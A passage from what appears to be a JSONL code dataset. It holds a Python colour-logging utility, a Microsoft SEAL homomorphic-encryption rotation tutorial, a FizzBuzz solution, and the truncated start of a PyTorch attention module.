logging.addLevelName(logging.FRAME, \"FRAME\")\n logging.addLevelName(logging.PLAIN, \"PLAIN\")\n logging.addLevelName(logging.VERBOSE, \"VERBOSE\")\n \n def h1(self, msg, *args, **kwargs):\n if self.isEnabledFor(logging.H1):\n msg = logutils_conversions._string_to_h1(msg)\n self._log(logging.H1, msg, args, **kwargs)\n \n def h2(self, msg, *args, **kwargs):\n if self.isEnabledFor(logging.H2):\n msg = logutils_conversions._string_to_h2(msg)\n self._log(logging.H2, msg, args, **kwargs)\n \n def h3(self, msg, *args, **kwargs):\n if self.isEnabledFor(logging.H3):\n msg = logutils_conversions._string_to_h3(msg)\n self._log(logging.H3, msg, args, **kwargs)\n \n def table(self, msg, *args, **kwargs):\n if self.isEnabledFor(logging.TABLE):\n msg = logutils_conversions._table_to_string(msg)\n self._log(logging.TABLE, msg, args, **kwargs)\n \n def frame(self, msg, *args, **kwargs):\n if self.isEnabledFor(logging.FRAME):\n msg = logutils_conversions._string_to_framed_string(msg)\n self._log(logging.FRAME, msg, args, **kwargs)\n \n def com(self, msg, *args, **kwargs):\n if self.isEnabledFor(logging.PLAIN):\n self._log(logging.PLAIN, msg, args, **kwargs)\n \n def comment(self, msg, *args, **kwargs):\n if self.isEnabledFor(logging.PLAIN):\n self._log(logging.PLAIN, msg, args, **kwargs)\n \n def plain(self, msg, *args, **kwargs):\n if self.isEnabledFor(logging.PLAIN):\n self._log(logging.PLAIN, msg, args, **kwargs)\n \n def verbose(self, msg, *args, **kwargs):\n if self.isEnabledFor(logging.VERBOSE):\n msg = logutils_conversions._verbose_message_to_string(msg)\n self._log(logging.VERBOSE, msg, args, **kwargs)\n\n def configure(self, log_config={}, file=\"\"):\n \"\"\"\n Common function which initializes logger, makes target log directories and creates file.\n Args:\n name (String) - name of the logger\n log_config (dict) - optional - configuration for the logger. New entries will override default configuration.\n file (String) - optional - fixed path to the logfile\n Returns:\n logging object\n \"\"\"\n\n # TODO function that initialize default values\n log_c = {\n \"log_fmt\": \"%(asctime)-16s - %(levelname)-8s - %(message)s\",\n \"log_path\": \"\",\n \"log_colors\": True,\n \"log_default_font\": \"\",\n \"log_default_back\": \"\",\n \"log_default_style\": \"\",\n \"log_debug_font\": \"white\",\n \"log_debug_back\": \"\",\n \"log_debug_style\": \"\",\n \"log_info_font\": \"green\",\n \"log_info_back\": \"\",\n \"log_info_style\": \"bright\",\n \"log_warning_font\": \"yellow\",\n \"log_warning_back\": \"\",\n \"log_warning_style\": \"bright\",\n \"log_error_font\": \"red\",\n \"log_error_back\": \"\",\n \"log_error_style\": \"bright\",\n \"log_critical_font\": \"white\",\n \"log_critical_back\": \"red\",\n \"log_critical_style\": \"bright\",\n \"log_header_font\": \"cyan\",\n \"log_header_back\": \"\",\n \"log_header_style\": \"bright\",\n \"log_verbose_font\": \"magenta\",\n \"log_verbose_back\": \"\",\n \"log_verbose_style\": \"bright\",\n \"log_strong_font\": \"yellow\",\n \"log_strong_back\": \"black\",\n \"log_strong_style\": \"\",\n \"log_send_font\": \"cyan\",\n \"log_send_back\": \"\",\n \"log_send_style\": \"bright\",\n \"log_receive_font\": \"yellow\",\n \"log_receive_back\": \"\",\n \"log_receive_style\": \"bright\",\n \"log_file_max_size\": \"0\",\n \"log_file_max_count\": \"0\",\n \"log_width\": 120,\n \"test_file\": \"\",\n \"file\": \"\" }\n log_c.update(log_config)\n logutils_conversions.LINE_WIDTH = log_c[\"log_width\"]\n if any(sub in str(log_c[\"log_colors\"]).lower() for sub in [\"1\", \"enable\", \"true\", \"yes\"]):\n log_c[\"log_colors\"] = True\n\n # TODO move to function close handlers\n handlers = self.handlers[:]\n for hdlr in handlers:\n hdlr.close()\n self.removeHandler(hdlr)\n\n # TODO move to function set logging level, it would be good to use configuration parameter instead of directly parsing sys.argv\n if any(\"debug\" in ar.lower() for ar in sys.argv):\n level_to_set = logging.DEBUG\n else:\n level_to_set = logging.INFO\n self.setLevel(logging.DEBUG)\n self.propagate = 0\n\n # TODO move to function set formatter\n fmt = log_c[\"log_fmt\"]\n\n if colorama and log_c[\"log_colors\"] is True:\n handler = ColorStreamHandler(sys.stdout)\n cc_fmt = ColorFormatter(fmt)\n cc_fmt.configure(log_c)\n handler.setFormatter(cc_fmt)\n else:\n handler = logging.StreamHandler()\n c_fmt = CustomFormatter(fmt)\n handler.setFormatter(c_fmt)\n handler.setLevel(level_to_set)\n self.addHandler(handler)\n timestamp = datetime.now().strftime(\"%Y-%m-%d_%H.%M.%S\")\n\n # TODO move to function set file handler\n log_dir_path = \"\"\n log_file_path = \"\"\n if log_c[\"log_path\"] and log_c[\"test_file\"]:\n log_dir_path = log_c[\"log_path\"]\n if os.path.isabs(log_dir_path): pass\n else: \n log_dir_path = os.path.realpath(os.path.join(os.path.dirname(__file__), \"..\", log_dir_path))\n testname = os.path.basename(log_c[\"test_file\"])\n try:\n testname = os.path.splitext(testname)[0]\n except Exception as e:\n print(\"Could not remove extension from file named: {}. Skipping.\".format(testname))\n log_dir_name = \"{}_{}\".format(testname, timestamp)\n log_dir_path = os.path.realpath(os.path.join(log_c[\"log_path\"], log_dir_name))\n log_file_name = \"{}_{}_{}.log\".format(testname, timestamp, self.name)\n log_file_path = os.path.join(log_dir_path, log_file_name)\n elif file:\n log_dir_path = os.path.dirname(file)\n log_file_path = file\n if log_dir_path and not os.path.exists(log_dir_path):\n try:\n os.makedirs(log_dir_path)\n except Exception as ex:\n print(\"ERROR: Log directory {} could not be created\".format(log_dir_path))\n print(\n \"Please ensure that\\n\\t\\\"{}\\\"\\ndirectory exists or Unicorn has sufficient rights to create it.\".format(\n log_dir_path))\n raise ex from None\n\n if log_c[\"log_path\"] and file and os.path.isfile(file):\n shutil.copyfile(file, log_file_path)\n os.remove(file)\n\n if log_file_path:\n lfmc_text = str(log_c[\"log_file_max_size\"]).upper()\n lfmc_num = int(''.join(str(d) for d in [int(s) for s in list(lfmc_text) if s.isdigit()]))\n if lfmc_text.endswith(\"MB\") or lfmc_text.endswith(\"M\"):\n log_c[\"log_file_max_size\"] = lfmc_num * 1024 * 1024\n elif lfmc_text.endswith(\"KB\") or lfmc_text.endswith(\"K\"):\n log_c[\"log_file_max_size\"] = lfmc_num * 1024\n else:\n log_c[\"log_file_max_size\"] = lfmc_num\n if log_file_path:\n f_fmt = CustomFormatter(fmt)\n if log_c[\"log_file_max_size\"] > 0:\n from logging.handlers import RotatingFileHandler\n fh = RotatingFileHandler(log_file_path, maxBytes=log_c[\"log_file_max_size\"],\n backupCount=int(log_c[\"log_file_max_count\"]) )\n else:\n fh = logging.FileHandler(log_file_path)\n fh.setLevel(logging.DEBUG)\n fh.setFormatter(f_fmt)\n self.addHandler(fh)\n return self\n\n def close(self):\n \"\"\"\n Function to remove handlers and shut down the logger\n Args:\n logger (logger object)\n Returns:\n None\n \"\"\"\n try:\n handlers = self.handlers[:]\n for handler in handlers:\n handler.close()\n self.removeHandler(handler)\n del self\n except Exception as ex:\n pass \n\n\nclass ColorStreamHandler(logging.StreamHandler):\n \"\"\"\n StreamHandler with customized color output.\n \"\"\"\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n def emit(self, record):\n try:\n loglock.acquire()\n message = self.format(record)\n self.stream.write(message)\n self.stream.write(getattr(self, 'terminator', '\\n'))\n self.flush()\n except (KeyboardInterrupt, SystemExit) as e:\n raise e\n except Exception:\n self.handleError(record)\n finally:\n loglock.release()\n\nclass CustomFormatter(logging.Formatter):\n \"\"\"\n Formatter which selects modified log formats depending on the message LEVEL\n \"\"\"\n def __init__(self, fmt):\n self.general_fmt = \"%(asctime)-16s - %(levelname)-8s - %(message)s\"\n self.plain_fmt = \"%(asctime)-16s - %(message)s\"\n self.no_fmt = \"%(message)s\"\n # self.verbose_fmt = \"%(asctime)-16s - [ Logged from: %(module)s; line: %(lineno)d ]:\\n %(msg)s\"\n self.verbose_fmt = \"\\n %(msg)s\"\n if fmt: \n self.general_fmt = fmt\n super().__init__(fmt = self.general_fmt)\n\n def format(self, record, *args, **kwargs):\n new_record = copy.copy(record)\n format_orig = self._style._fmt\n if new_record.levelno == logging.DEBUG:\n self._style._fmt = self.general_fmt\n elif new_record.levelno == logging.INFO:\n self._style._fmt = self.general_fmt\n elif new_record.levelno == logging.WARNING or new_record.levelno == logging.WARN:\n self._style._fmt = self.general_fmt\n elif new_record.levelno == logging.ERROR or new_record.levelno == logging.CRITICAL:\n self._style._fmt = self.general_fmt\n elif new_record.levelno == logging.H1:\n self._style._fmt = self.no_fmt\n elif new_record.levelno == logging.H2:\n self._style._fmt = self.plain_fmt\n elif new_record.levelno == logging.H3:\n self._style._fmt = self.plain_fmt \n elif new_record.levelno == logging.TABLE:\n self._style._fmt = self.no_fmt\n elif new_record.levelno == logging.FRAME:\n self._style._fmt = self.no_fmt\n elif new_record.levelno == logging.PLAIN:\n self._style._fmt = self.plain_fmt \n elif new_record.levelno == logging.VERBOSE:\n self._style._fmt = self.verbose_fmt\n else:\n self._style._fmt = self.no_fmt\n result = logging.Formatter.format(self, new_record)\n self._style._fmt = format_orig\n return result\n\n\nclass ColorFormatter(CustomFormatter):\n \"\"\"\n Formatter which adds colors to messages going to the screen depending on message LEVEL\n \"\"\"\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.color_send = \"\"\n self.color_receive = \"\"\n self.color_strong = \"\"\n self.regex_send = re.compile(\"(.*?\\|.?\\-\\-\\>.*?\\|.)(.*)\", re.IGNORECASE | re.MULTILINE)\n self.regex_receive = re.compile(\"(.*?\\|.?\\<\\-\\-.*?\\|.)(.*)\", re.IGNORECASE | re.MULTILINE)\n self.regex_strong = re.compile(\"\\[(.*)\\]\", re.IGNORECASE | re.MULTILINE)\n\n def create_color_entry(self, colorama_assignments, style_name_lowercase):\n \"\"\"Method which assigns colorama style basing on global configuration stored in self.log_conf, \n styles dictionary colorama_dict and name of the style defined in style_name_lowercase\n self.log_conf - generated framework configuration for the logs (all parameters with log_ prefix) \n - taken from global config file, local config file, command line args and default settings.\n Args:\n colorama_assignments(dict) - assignments of logging level and colorama style\n style_name_lowercase(string) - value of configuration parameter. e.g. yellow\n Returns:\n colorama style(colorama attribute) - e.g. colorama.Style.BRIGHT\"\"\"\n try:\n log_param_value = self.log_conf[style_name_lowercase]\n except KeyError as e:\n log_param_value = \"\"\n try:\n return colorama_assignments[log_param_value]\n except (KeyError, Exception) as e:\n print(\"WARNING: Style or color name \\\"{}\\\" for {} was not recognized. Empty value will be used.\".format(log_param_value, style_name_lowercase))\n return \"\" \n \n def configure(self, log_conf):\n \"\"\"\n Method to set configuration of ColorFormatter from dictionary with log_ parameters.\n Args:\n log_conf(dictionary): configuration of the logger, keys are prefixed with log_\n Returns:\n None\n \"\"\"\n self.log_conf = log_conf\n self.level_styles = {\n logging.DEBUG: colorama.Style.BRIGHT + colorama.Fore.WHITE,\n logging.INFO: colorama.Style.BRIGHT + colorama.Fore.GREEN,\n logging.WARN: colorama.Style.BRIGHT + colorama.Fore.YELLOW,\n logging.WARNING: colorama.Style.BRIGHT + colorama.Fore.YELLOW,\n logging.ERROR: colorama.Style.BRIGHT + colorama.Fore.RED,\n logging.CRITICAL: colorama.Style.BRIGHT + colorama.Back.RED + colorama.Fore.WHITE\n }\n self.message_styles = {\n logging.DEBUG: colorama.Style.BRIGHT + colorama.Fore.WHITE,\n logging.INFO: colorama.Style.BRIGHT + colorama.Fore.GREEN,\n logging.WARN: colorama.Style.BRIGHT + colorama.Fore.YELLOW,\n logging.WARNING: colorama.Style.BRIGHT + colorama.Fore.YELLOW,\n logging.ERROR: colorama.Style.BRIGHT + colorama.Fore.RED,\n logging.CRITICAL: colorama.Style.BRIGHT + colorama.Back.RED + colorama.Fore.WHITE,\n logging.H1: colorama.Style.BRIGHT + colorama.Fore.CYAN,\n logging.H2: colorama.Style.BRIGHT + colorama.Fore.CYAN,\n logging.H3: colorama.Style.BRIGHT + colorama.Fore.CYAN,\n logging.VERBOSE: colorama.Style.BRIGHT + colorama.Fore.MAGENTA,\n logging.FRAME: \"\",\n logging.TABLE: \"\",\n logging.PLAIN: \"\"\n }\n self.colorama_styles = {\n \"bright\": colorama.Style.BRIGHT,\n \"dim\": colorama.Style.DIM,\n \"none\": \"\",\n \"\": \"\"\n } \n self.colorama_backgrounds = {\n \"red\": colorama.Back.RED,\n \"white\": colorama.Back.WHITE,\n \"green\": colorama.Back.GREEN,\n \"yellow\": colorama.Back.YELLOW,\n \"blue\": colorama.Back.BLUE,\n \"cyan\": colorama.Back.CYAN,\n \"magenta\": colorama.Back.MAGENTA,\n \"black\": colorama.Back.BLACK,\n \"\": \"\"\n } \n self.colorama_fonts = {\n \"red\": colorama.Fore.RED,\n \"white\": colorama.Fore.WHITE,\n \"green\": colorama.Fore.GREEN,\n \"yellow\": colorama.Fore.YELLOW,\n \"blue\": colorama.Fore.BLUE,\n \"cyan\": colorama.Fore.CYAN,\n \"magenta\": colorama.Fore.MAGENTA,\n \"black\": colorama.Fore.BLACK,\n \"\": \"\"\n }\n self.message_styles = {\n logging.DEBUG: self.create_color_entry(self.colorama_styles, \"log_debug_style\") \\\n + self.create_color_entry(self.colorama_backgrounds, \"log_debug_back\") \\\n + self.create_color_entry(self.colorama_fonts, \"log_debug_font\"),\n logging.INFO: self.create_color_entry(self.colorama_styles, \"log_info_style\") \\\n + self.create_color_entry(self.colorama_backgrounds, \"log_info_back\") \\\n + self.create_color_entry(self.colorama_fonts, \"log_info_font\"),\n logging.WARN: self.create_color_entry(self.colorama_styles, \"log_warning_style\") \\\n + self.create_color_entry(self.colorama_backgrounds, \"log_warning_back\") \\\n + self.create_color_entry(self.colorama_fonts, \"log_warning_font\"),\n logging.WARNING: self.create_color_entry(self.colorama_styles, \"log_warning_style\") \\\n + self.create_color_entry(self.colorama_backgrounds, \"log_warning_back\") \\\n + self.create_color_entry(self.colorama_fonts, \"log_warning_font\"),\n logging.ERROR: self.create_color_entry(self.colorama_styles, \"log_error_style\") \\\n + self.create_color_entry(self.colorama_backgrounds, \"log_error_back\") \\\n + self.create_color_entry(self.colorama_fonts, \"log_error_font\"),\n logging.CRITICAL: self.create_color_entry(self.colorama_styles, \"log_critical_style\") \\\n + self.create_color_entry(self.colorama_backgrounds, \"log_critical_back\") \\\n + self.create_color_entry(self.colorama_fonts, \"log_critical_font\"),\n logging.H1: self.create_color_entry(self.colorama_styles, \"log_header_style\") \\\n + self.create_color_entry(self.colorama_backgrounds, \"log_header_back\") \\\n + self.create_color_entry(self.colorama_fonts, \"log_header_font\"),\n logging.H2: self.create_color_entry(self.colorama_styles, \"log_header_style\") \\\n + self.create_color_entry(self.colorama_backgrounds, \"log_header_back\") \\\n + self.create_color_entry(self.colorama_fonts, \"log_header_font\"), \n logging.H3: self.create_color_entry(self.colorama_styles, \"log_header_style\") \\\n + self.create_color_entry(self.colorama_backgrounds, \"log_header_back\") \\\n + self.create_color_entry(self.colorama_fonts, \"log_header_font\"), \n logging.VERBOSE: self.create_color_entry(self.colorama_styles, \"log_verbose_style\") \\\n + self.create_color_entry(self.colorama_backgrounds, \"log_verbose_back\") \\\n + self.create_color_entry(self.colorama_fonts, \"log_verbose_font\") \n }\n self.level_styles = dict(self.message_styles)\n self.color_send = self.create_color_entry(self.colorama_styles, \"log_send_style\") \\\n + self.create_color_entry(self.colorama_backgrounds, \"log_send_back\") \\\n + self.create_color_entry(self.colorama_fonts, \"log_send_font\")\n self.color_receive = self.create_color_entry(self.colorama_styles, \"log_receive_style\") \\\n + self.create_color_entry(self.colorama_backgrounds, \"log_receive_back\") \\\n + self.create_color_entry(self.colorama_fonts, \"log_receive_font\")\n self.color_strong = self.create_color_entry(self.colorama_styles, \"log_strong_style\") \\\n + self.create_color_entry(self.colorama_backgrounds, \"log_strong_back\") \\\n + self.create_color_entry(self.colorama_fonts, \"log_strong_font\")\n \n def _apply_special_styles(self, message):\n \"\"\"\n Method to apply special style to the message which matches expected format (based on regex search).\n It is called from \"format\" method\n It returns same message if no special match is found.\n Args:\n message (String): log entry to add the style\n Returns:\n message (String): colorized log entry\n \"\"\"\n if self.regex_send.search(message):\n return self.regex_send.sub(\"\\\\1\" + self.color_send + \"\\\\2\" + colorama.Style.RESET_ALL, str(message))\n elif self.regex_receive.search(message):\n return self.regex_receive.sub(\"\\\\1\" + self.color_receive + \"\\\\2\" + colorama.Style.RESET_ALL, str(message))\n elif self.regex_strong.search(message):\n return self.regex_strong.sub(self.color_strong + \"[\\\\1]\" + colorama.Style.RESET_ALL, str(message))\n else:\n return message\n\n def format(self, record, *args, **kwargs):\n \"\"\"\n Method to apply all color formats basing on self.level_styles and self.message_styles dictionaries.\n Args:\n record (String): log entry to add the style\n Returns:\n result (String): formatted log entry\n \"\"\" \n new_record = copy.copy(record) \n if isinstance(new_record.msg, str) and new_record.levelno == logging.PLAIN:\n new_record.msg = self._apply_special_styles(new_record.msg) \n if new_record.levelno in self.level_styles:\n new_record.levelname = \"{color_begin}{level}{color_end}\".format(\n color_begin = self.level_styles[new_record.levelno],\n level = new_record.levelname,\n color_end = colorama.Style.RESET_ALL,\n ) \n if new_record.levelno in self.message_styles:\n new_record.msg = \"{color_begin}{msg}{color_end}\".format(\n color_begin = self.message_styles[new_record.levelno],\n msg = new_record.msg,\n color_end = colorama.Style.RESET_ALL,\n )\n result = super(ColorFormatter, self).format(new_record, *args, **kwargs)\n return result\n\nlogging.setLoggerClass(EnhancedLogger)\n \n\ndef init_logger(name = \"log\", log_config = {}, file = \"\"): \n \"\"\"\n External function which initializes logger, makes target log directories and creates file.\n Args:\n name (String) - name of the logger\n log_config (dict) - optional - configuration for the logger. New entries will override default configuration.\n file (String) - optional - fixed path to the logfile\n Returns:\n logging object\n \"\"\"\n logger = logging.getLogger(name)\n logger.configure(log_config, file)\n return logger\n \n\nif __name__ == \"__main__\":\n\n logger = init_logger(\"test\")\n logger = init_logger(\"test\")\n\n logger.debug(\"This is a debug!\")\n logger.info(\"This is an info!\")\n logger.warning(\"This is a warning!\")\n logger.error(\"This is an error!\")\n logger.critical(\"This is a critical!\")\n\n logger.h1(\"1. Header\")\n logger.h2(\"1.1. Header\")\n logger.h3(\"1.1.1 Header\")\n\n logger.table([[\"Name\", \"Value\"],[1,2],[10,20],[30,40]])\n logger.com(\"Path [ AAA ] format\")\n logger.com(\"| --> D | Send format\")\n logger.com(\"| <-- D | Receive format\")\n logger.verbose([\n \"This is a long message\",\n \"which explains in details\",\n \"what is going on here\"\n ])\n logger.frame(\"Used for generic messages which should be emphasized\")\n logger.frame(\"Used for generic messages which should be emphasized\\n - like communication with the module\")\n logger.frame([\n \"Used for generic messages which should be emphasized\",\n \"- like communication with the module\"])\n try:\n i = 3/0\n except Exception as e:\n logger.verbose(\"You tried to do action which is not allowed. Handling exception.\")\n logger.info(\"[ c:\\\\temp ]\")\n","sub_path":"unicorn_core/logutils.py","file_name":"logutils.py","file_ext":"py","file_size_in_byte":24390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"533821563","text":"from seal import *\nfrom seal_helper import *\n\n\ndef example_rotation_bfv():\n print_example_banner(\"Example: Rotation / Rotation in BFV\")\n parms = EncryptionParameters(scheme_type.BFV)\n\n poly_modulus_degree = 8192\n parms.set_poly_modulus_degree(poly_modulus_degree)\n parms.set_coeff_modulus(CoeffModulus.BFVDefault(poly_modulus_degree))\n parms.set_plain_modulus(PlainModulus.Batching(poly_modulus_degree, 20))\n\n context = SEALContext.Create(parms)\n print_parameters(context)\n print(\"-\" * 50)\n\n keygen = KeyGenerator(context)\n public_key = keygen.public_key()\n secret_key = keygen.secret_key()\n relin_keys = keygen.relin_keys()\n\n encryptor = Encryptor(context, public_key)\n evaluator = Evaluator(context)\n decryptor = Decryptor(context, secret_key)\n\n batch_encoder = BatchEncoder(context)\n slot_count = batch_encoder.slot_count()\n row_size = int(slot_count / 2)\n print(\"Plaintext matrix row size: \" + str(row_size))\n\n pod_matrixs = [0] * slot_count\n pod_matrixs[0] = 0\n pod_matrixs[1] = 1\n pod_matrixs[2] = 2\n pod_matrixs[3] = 3\n pod_matrixs[row_size] = 4\n pod_matrixs[row_size + 1] = 5\n pod_matrixs[row_size + 2] = 6\n pod_matrixs[row_size + 3] = 7\n\n pod_matrix = uIntVector()\n for i in range(slot_count):\n pod_matrix.push_back(pod_matrixs[i])\n\n print(\"Input plaintext matrix:\")\n print_matrix(pod_matrix, row_size)\n\n '''\n\tFirst we use BatchEncoder to encode the matrix into a plaintext. We encrypt\n \tthe plaintext as usual.\n\t'''\n plain_matrix = Plaintext()\n print(\"-\" * 50)\n print(\"Encode and encrypt.\")\n batch_encoder.encode(pod_matrix, plain_matrix)\n encrypted_matrix = Ciphertext()\n encryptor.encrypt(plain_matrix, encrypted_matrix)\n print(\" + Noise budget in fresh encryption: \" +\n str(decryptor.invariant_noise_budget(encrypted_matrix)) + \" bits\")\n\n '''\n\tRotations require yet another type of special key called `Galois keys'. These\n \tare easily obtained from the KeyGenerator.\n\t'''\n gal_keys = keygen.galois_keys()\n '''\n\tNow rotate both matrix rows 3 steps to the left, decrypt, decode, and print.\n\t'''\n print(\"-\" * 50)\n print(\"Rotate rows 3 steps left.\")\n\n evaluator.rotate_rows_inplace(encrypted_matrix, 3, gal_keys)\n plain_result = Plaintext()\n print(\" + Noise budget after rotation: \" +\n str(decryptor.invariant_noise_budget(encrypted_matrix)) + \" bits\")\n print(\" + Decrypt and decode ...... Correct.\")\n decryptor.decrypt(encrypted_matrix, plain_result)\n batch_encoder.decode(plain_result, pod_matrix)\n print_matrix(pod_matrix, row_size)\n\n '''\n We can also rotate the columns, i.e., swap the rows.\n '''\n print(\"-\" * 50)\n print(\"Rotate columns.\")\n evaluator.rotate_columns_inplace(encrypted_matrix, gal_keys)\n print(\" + Noise budget after rotation: \" +\n str(decryptor.invariant_noise_budget(encrypted_matrix)) + \" bits\")\n print(\" + Decrypt and decode ...... Correct.\")\n decryptor.decrypt(encrypted_matrix, plain_result)\n batch_encoder.decode(plain_result, pod_matrix)\n print_matrix(pod_matrix, row_size)\n\n '''\n Finally, we rotate the rows 4 steps to the right, decrypt, decode, and print.\n '''\n print(\"-\" * 50)\n print(\"Rotate rows 4 steps right.\")\n evaluator.rotate_rows_inplace(encrypted_matrix, -4, gal_keys)\n print(\" + Noise budget after rotation: \" +\n str(decryptor.invariant_noise_budget(encrypted_matrix)) + \" bits\")\n print(\" + Decrypt and decode ...... Correct.\")\n decryptor.decrypt(encrypted_matrix, plain_result)\n batch_encoder.decode(plain_result, pod_matrix)\n print_matrix(pod_matrix, row_size)\n\n '''\n Note that rotations do not consume any noise budget. However, this is only\n the case when the special prime is at least as large as the other primes. The\n same holds for relinearization. Microsoft SEAL does not require that the\n special prime is of any particular size, so ensuring this is the case is left\n for the user to do.\n '''\n\n\ndef example_rotation_ckks():\n print_example_banner(\"Example: Rotation / Rotation in CKKS\")\n parms = EncryptionParameters(scheme_type.CKKS)\n poly_modulus_degree = 8192\n parms.set_poly_modulus_degree(poly_modulus_degree)\n parms.set_coeff_modulus(CoeffModulus.Create(\n poly_modulus_degree, [40, 40, 40, 40, 40]))\n context = SEALContext.Create(parms)\n print_parameters(context)\n\n keygen = KeyGenerator(context)\n public_key = keygen.public_key()\n secret_key = keygen.secret_key()\n relin_keys = keygen.relin_keys()\n gal_keys = keygen.galois_keys()\n\n encryptor = Encryptor(context, public_key)\n evaluator = Evaluator(context)\n decryptor = Decryptor(context, secret_key)\n\n ckks_encoder = CKKSEncoder(context)\n slot_count = ckks_encoder.slot_count()\n print(\"Number of slots: \" + str(slot_count))\n # inputer = [0] * slot_count\n inputs = DoubleVector()\n curr_point = 0.0\n step_size = 1.0 / (slot_count - 1)\n\n for i in range(slot_count):\n inputs.push_back(curr_point)\n curr_point += step_size\n\n print(\"Input vector:\")\n print_vector(inputs, 3, 7)\n\n scale = pow(2.0, 50)\n\n print(\"-\" * 50)\n print(\"Encode and encrypt.\")\n plain = Plaintext()\n\n ckks_encoder.encode(inputs, scale, plain)\n encrypted = Ciphertext()\n encryptor.encrypt(plain, encrypted)\n\n rotated = Ciphertext()\n print(\"-\" * 50)\n print(\"Rotate 2 steps left.\")\n evaluator.rotate_vector(encrypted, 2, gal_keys, rotated)\n print(\" + Decrypt and decode ...... Correct.\")\n decryptor.decrypt(rotated, plain)\n result = DoubleVector()\n ckks_encoder.decode(plain, result)\n print_vector(result, 3, 7)\n\n '''\n With the CKKS scheme it is also possible to evaluate a complex conjugation on\n a vector of encrypted complex numbers, using Evaluator::complex_conjugate.\n This is in fact a kind of rotation, and requires also Galois keys.\n '''\n\n\nif __name__ == '__main__':\n print_example_banner(\"Example: Rotation\")\n\n example_rotation_bfv()\n # example_rotation_ckks()\n","sub_path":"tests/5_rotation.py","file_name":"5_rotation.py","file_ext":"py","file_size_in_byte":6135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"176762850","text":"#!/usr/local/bin/python3\n# -*- coding: utf-8 -*-\n# 412 Fizz Buzz\n\n__author__ = 'Libao Jin'\n__date__ = '02/04/2017'\n\nimport time\n\nclass Solution(object):\n def fizzBuzz(self, n):\n '''\n :type n: int\n :rtype: List[str]\n '''\n i = 1\n fb = []\n while i <= n:\n if i % 3 == 0 and i % 5 == 0:\n fb.append('FizzBuzz')\n elif i % 3 == 0:\n fb.append('Fizz')\n elif i % 5 == 0:\n fb.append('Buzz')\n else:\n fb.append(str(i))\n i += 1\n return fb\n\n def test(self):\n start_time = time.time()\n result = self.fizzBuzz(15)\n end_time = time.time()\n print(result)\n print('Elapsed time: {0:.6f}'.format(end_time - start_time))\n\nif __name__ == '__main__':\n s = Solution()\n s.test()\n","sub_path":"solutions/412_Fizz_Buzz.py","file_name":"412_Fizz_Buzz.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"125428796","text":"import pdb\nimport sys\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\n\nsys.path.append(\"..\")\nfrom utils.misc import ixvr\n\nclass AttendFeedForward(nn.Module):\n\t\"\"\"\n\tSimiliar to the attend (Section 3.1) module of the DecAtt paper\n\t\"\"\"\n\tdef __init__(self, inp_size, hidden_size=200):\n\t\tsuper(AttendFeedForward, self).__init__()\n\n\t\tself.hidden_size = hidden_size\n\t\tself.linear = nn.Sequential( \\\n\t\t\tnn.Linear(inp_size, hidden_size), \\\n\t\t\tnn.ReLU(), \\\n\t\t\tnn.BatchNorm1d(num_features=hidden_size), \\\n\t\t\tnn.Linear(hidden_size, hidden_size), \\\n\t\t\tnn.ReLU(), \\\n\t\t\tnn.BatchNorm1d(num_features=hidden_size))\n\n\tdef forward(self, s1, s2, mask1, mask2):\n\t\t\"\"\"\n\t\tArgs:\n\t\t\ts1: Sentence 1 BiLSTM embeddings (b x LA x inp_size)\n\t\t\ts2: Sentence 2 BiLSTM embeddings (b x LB x inp_size)\n\t\t\tmask1: Sentence 1 mask (b x LA)\n\t\t\tmask2: Sentence 2 mask (b x LB)\n\t\tOutput:\n\t\t\talphas: Soft aligned combinations of s1 w.r.t. s2 tokens (b x maxlen x inp_size)\n\t\t\tbetas: Soft aligned combinations of s2 w.r.t. s1 tokens (b x maxlen x inp_size)\n\t\t\"\"\"\n\t\tbatch_size = s1.shape[0]\n\t\tmaxlen = s1.shape[1]\n\t\tinp_size = s1.shape[2]\n\n\t\th1 = self.linear(s1.view(-1, inp_size)).view(batch_size, maxlen, -1)\n\t\t# b x LA x hidden_size\n\t\th2 = self.linear(s2.view(-1, inp_size)).view(batch_size, maxlen, -1)\n\t\t# b x LB x hidden_size\n\t\th2t = torch.transpose(h2, 1, 2)\n\t\t# b x hidden_size x LB\n\n\t\te = torch.bmm(h1, h2t)\n\n\t\te_alpha = torch.mul(e, mask1.unsqueeze(-1))\n\t\te_alpha = torch.exp(e_alpha - torch.max(e_alpha, dim=1)[0].unsqueeze(1))\n\t\te_alpha = torch.div(e_alpha, torch.sum(e_alpha, dim=1).unsqueeze(1))\n\t\t# b x LA x LB\n\n\t\te_beta = torch.mul(e, mask2.unsqueeze(1))\n\t\te_beta = torch.exp(e_beta - torch.max(e_beta, dim=2)[0].unsqueeze(-1))\n\t\te_beta = torch.div(e_beta, torch.sum(e_beta, dim=2).unsqueeze(-1))\n\t\t# b x LA x LB\n\n\t\talphas = torch.bmm(torch.transpose(e_alpha, 1, 2), s1)\n\t\talphas = torch.mul(alphas, mask2.unsqueeze(-1))\n\t\t# b x LB x inp_size\n\t\tbetas = torch.bmm(e_beta, s2)\n\t\tbetas = torch.mul(betas, mask1.unsqueeze(-1))\n\t\t# b x LA x inp_size\n\n\t\treturn alphas, betas\n\nclass CompareFeedForward(nn.Module):\n\t\"\"\"\n\tSimilar to the compare (Section 3.2) module of the DecAtt paper\n\texcept instead of returning the sum of the embeddings v1 and v2\n\t(which might be susceptible to the length of the sequence),\n\tthis returns v1_avg, v1_max, v2_avg, v2_max.\n\t\"\"\"\n\tdef __init__(self, inp_size, hidden_size=200):\n\t\tsuper(CompareFeedForward, self).__init__()\n\n\t\tself.linear = nn.Sequential( \\\n\t\t\tnn.Linear(inp_size * 2, hidden_size), \\\n\t\t\tnn.ReLU(), \\\n\t\t\tnn.BatchNorm1d(num_features=hidden_size), \\\n\t\t\tnn.Linear(hidden_size, hidden_size), \\\n\t\t\tnn.ReLU(), \\\n\t\t\tnn.BatchNorm1d(num_features=hidden_size))\n\n\tdef forward(self, s1, s2, alphas, betas, mask1, mask2):\n\t\t\"\"\"\n\t\tArgs:\n\t\t\ts1: Sentence 1 BiLSTM embeddings (b 